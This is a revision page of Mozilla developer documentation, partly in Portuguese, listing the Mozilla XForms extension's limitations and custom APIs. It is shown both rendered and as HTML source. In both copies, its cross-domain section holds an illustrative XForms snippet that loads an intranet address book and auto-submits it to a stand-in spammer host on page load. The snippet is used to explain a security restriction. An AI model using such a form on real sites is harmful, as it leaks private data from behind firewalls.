Mozilla XForms Specials

  • Revision slug: XForms_especiais_para_Mozilla
  • Revision title: Mozilla XForms Specials
  • Revision id: 150920
  • Created:
  • Creator: Kayalemao
  • Is current revision? Não
  • コメント /* Suporte a pseudo elemento */

Revision Content

Introdução

Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas.

Limitações

Repetição usando atributos

De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado.

(limitação acompanhada no {{template.Bug(280368)}})

Misturando Repetição e table ou ul

Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer:

<table>
  <xf:repeat ...>
    <tr> ... </tr>
  </xf:repeat>
</table>

ou

<ul>
  <xf:repeat ...>
    <li> ... </li>
  </xf:repeat>
</ul>

Section 9.3.2 determina que misturando com table provávelmente nunca funcionará. Misturando com ul pode sofrer a mesma limitação mas não deve travar o sistema ({{template.Bug(330022)}}).

Suporte a pseudo classes

Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write.

(limitação acompanhada no {{template.Bug(313111)}})

Suporte a pseudo elemento

Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais:

  • xf-value
  • xf-repeat-item
  • xf-repeat-index

Por exemplo, para direcionar o elemento valor de um controle input use:

@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}

Os pseudo elementos são definidos na CSS3 Especificação básica de usuário .

(limitação acompanhada no {{template.Bug(271724)}})

Extensions

Enumerating Instances

The standardized nsIXFormsModelElement does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the Mozilla XForms Extension we added a getInstanceDocuments() function to the model which returns all the model's instance documents. This is documented in nsIXFormsNSModelElement.

Getting To Instance Element From A Data Node

In the XForms 1.0 specification there is no way to get to the instance element from an instance data node. We have added a function via the getFeature() call on each node, that allows the form author to do that. That is, if instanceNode is a node in an instance document, then:

instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

will return the <instance> element (in the main document) that the node belongs to.

Getting To The Instance Document From The Instance Element

In the XForms 1.0 specification you have to go through the model element to get to the instance document. It seems a bit awkward if you have the instance element, so we have added a getInstanceDocument() function directly on the instance element as a shortcut. This is documented in nsIXFormsNSInstanceElement.

Custom Control Interface

We have added a lot of functionality to our user interface, which allows the form authors to create custom controls. It involves exposing some (script) functionality on all our controls, like output, input, etc. and allowing the UI to be represented in XBL. More information can be found in XForms:Custom Controls.

Misc

Cross Domain Submission

Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes

The cross domain check also includes forms loaded from file://. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.

If you are wondering why we have this restriction, here is a simple example of why:

<xforms:model>
  <xforms:instance src="http://intranetserver/addrbook.xml"/>
  <xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/>
  <xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

Categorias

Interwiki Language Links

{{ wiki.languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}

Revision Source

<p> 
</p>
<h3 name="Introdu.C3.A7.C3.A3o"> Introdução</h3>
<p>Este artigo fornece um resumo onde <i>Extensões Mozilla XForms </i> desvia <i>XForms 1.0 Especificação</i> oficial <a class="external" href="http://www.w3.org/TR/xforms">. Este artigo cobre tanto limitações nas extensões como extensões customizadas.
</a></p><a class="external" href="http://www.w3.org/TR/xforms">
<h3 name="Limita.C3.A7.C3.B5es"> Limitações </h3>
<h4 name="Repeti.C3.A7.C3.A3o_usando_atributos"> Repetição usando atributos </h4>
</a><p><a class="external" href="http://www.w3.org/TR/xforms">De acordo com a especificação </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Criando estruturas de repetição através de atributos"</a>, isto é <strong>parcialmente</strong> suportado.
</p><p>(limitação acompanhada no {{template.Bug(280368)}})
</p>
<h4 name="Misturando_Repeti.C3.A7.C3.A3o_e__table_ou_ul"> Misturando Repetição e  <code>table</code> ou <code>ul</code> </h4>
<p>Não é possível misturar repetições tanto com <code>table</code> ou <code>ul</code>. Isto significa que <strong>não</strong> é possível fazer:
</p>
<div class="warning">
<pre>&lt;table&gt;
  &lt;xf:repeat ...&gt;
    &lt;tr&gt; ... &lt;/tr&gt;
  &lt;/xf:repeat&gt;
&lt;/table&gt;
</pre>
</div>
<p>ou
</p>
<div class="warning">
<pre>&lt;ul&gt;
  &lt;xf:repeat ...&gt;
    &lt;li&gt; ... &lt;/li&gt;
  &lt;/xf:repeat&gt;
&lt;/ul&gt;
</pre>
</div>
<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> determina que misturando com <code>table</code> provávelmente nunca funcionará. Misturando com <code>ul</code> pode sofrer a mesma limitação mas não deve travar o sistema ({{template.Bug(330022)}}).
</p>
<h4 name="Suporte_a_pseudo_classes"> Suporte a pseudo classes </h4>
<p>Atualmente suportamos todas as pseudo classes em XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>exceto</b> para <code>:read-only</code> e <code>:read-write</code>, por causa de comportamento não especificado destes para (X)</a><a href="pt/HTML">HTML</a>. No momento precisa usar <code>:-moz-read-only</code> e <code>:-moz-read-write</code>.
</p><p>(limitação acompanhada no {{template.Bug(313111)}})
</p>
<h4 name="Suporte_a_pseudo_elemento"> Suporte a pseudo elemento </h4>
<p><b>Não</b> existe suporte para os pseudo elementos (<code>::value, ::repeat-item, e ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Você deve usar as seguintes classes normais:
</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">
<ul><li> <code>xf-value</code>
</li><li> <code>xf-repeat-item</code>
</li><li> <code>xf-repeat-index</code>
</li></ul>
<p>Por exemplo, para direcionar o elemento valor de um controle <code>input</code> use:
</p>
<pre>@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}
</pre>
</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">Os pseudo elementos são definidos na <i></i></a><i><a href="pt/CSS">CSS</a>3 Especificação básica de usuário </i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">.
</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitação acompanhada no {{template.Bug(271724)}})
</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">
<h3 name="Extensions"> Extensions </h3>
<h4 name="Enumerating_Instances"> Enumerating Instances </h4>
</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">The standardized </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the <i>Mozilla XForms Extension</i> we added a <code>getInstanceDocuments()</code> function to the <code>model</code> which returns all the model's instance documents. This is documented in <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.
</p>
<h4 name="Getting_To_Instance_Element_From_A_Data_Node"> Getting To Instance Element From A Data Node </h4>
<p>In the XForms 1.0 specification there is no way to get to the <code>instance</code> element from an instance data node. We have added a function via the <code>getFeature()</code> call on each node, that allows the form author to do that. That is, if <code>instanceNode</code> is a node in an instance document, then:
</p>
<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
</pre>
<p>will return the <code>&lt;instance&gt;</code> element (in the main document) that the node belongs to.
</p>
<h4 name="Getting_To_The_Instance_Document_From_The_Instance_Element"> Getting To The Instance Document From The Instance Element </h4>
<p>In the XForms 1.0 specification you have to go through the <code>model</code> element to get to the instance document. It seems a bit awkward if you have the <code>instance</code> element, so we have added a <code>getInstanceDocument()</code> function directly on the <code>instance</code> element as a shortcut. This is documented in <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.
</p>
<h4 name="Custom_Control_Interface"> Custom Control Interface </h4>
<p>We have added a lot of functionality to our user interface, which allows the form authors to create <i>custom controls</i>. It involves exposing some (script) functionality on all our controls, like <code>output</code>, <code>input</code>, etc. and allowing the UI to be represented in <a href="pt/XBL">XBL</a>. More information can be found in <a href="pt/XForms/Custom_Controls">XForms:Custom Controls</a>.
</p>
<h3 name="Misc"> Misc </h3>
<h4 name="Cross_Domain_Submission"> Cross Domain Submission </h4>
<p>Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the <i>Release Notes</i> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">
</a></p><p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">The cross domain check also includes forms loaded from <code>file://</code>. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.
</a></p><p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">If you are wondering why we have this restriction, here is a simple example of why:
</a></p><a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12">
<pre>&lt;xforms:model&gt;
  &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
  &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/&gt;
  &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
&lt;/xforms:model&gt;
</pre>
<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="plain">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="plain">http://megaspammer.com/gather</span></code> as soon as you view the XForm.
</p><p><span class="comment">Categorias</span>
</p><p><span class="comment">Interwiki Language Links</span>
</p>{{ wiki.languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}</a>
Revert to this revision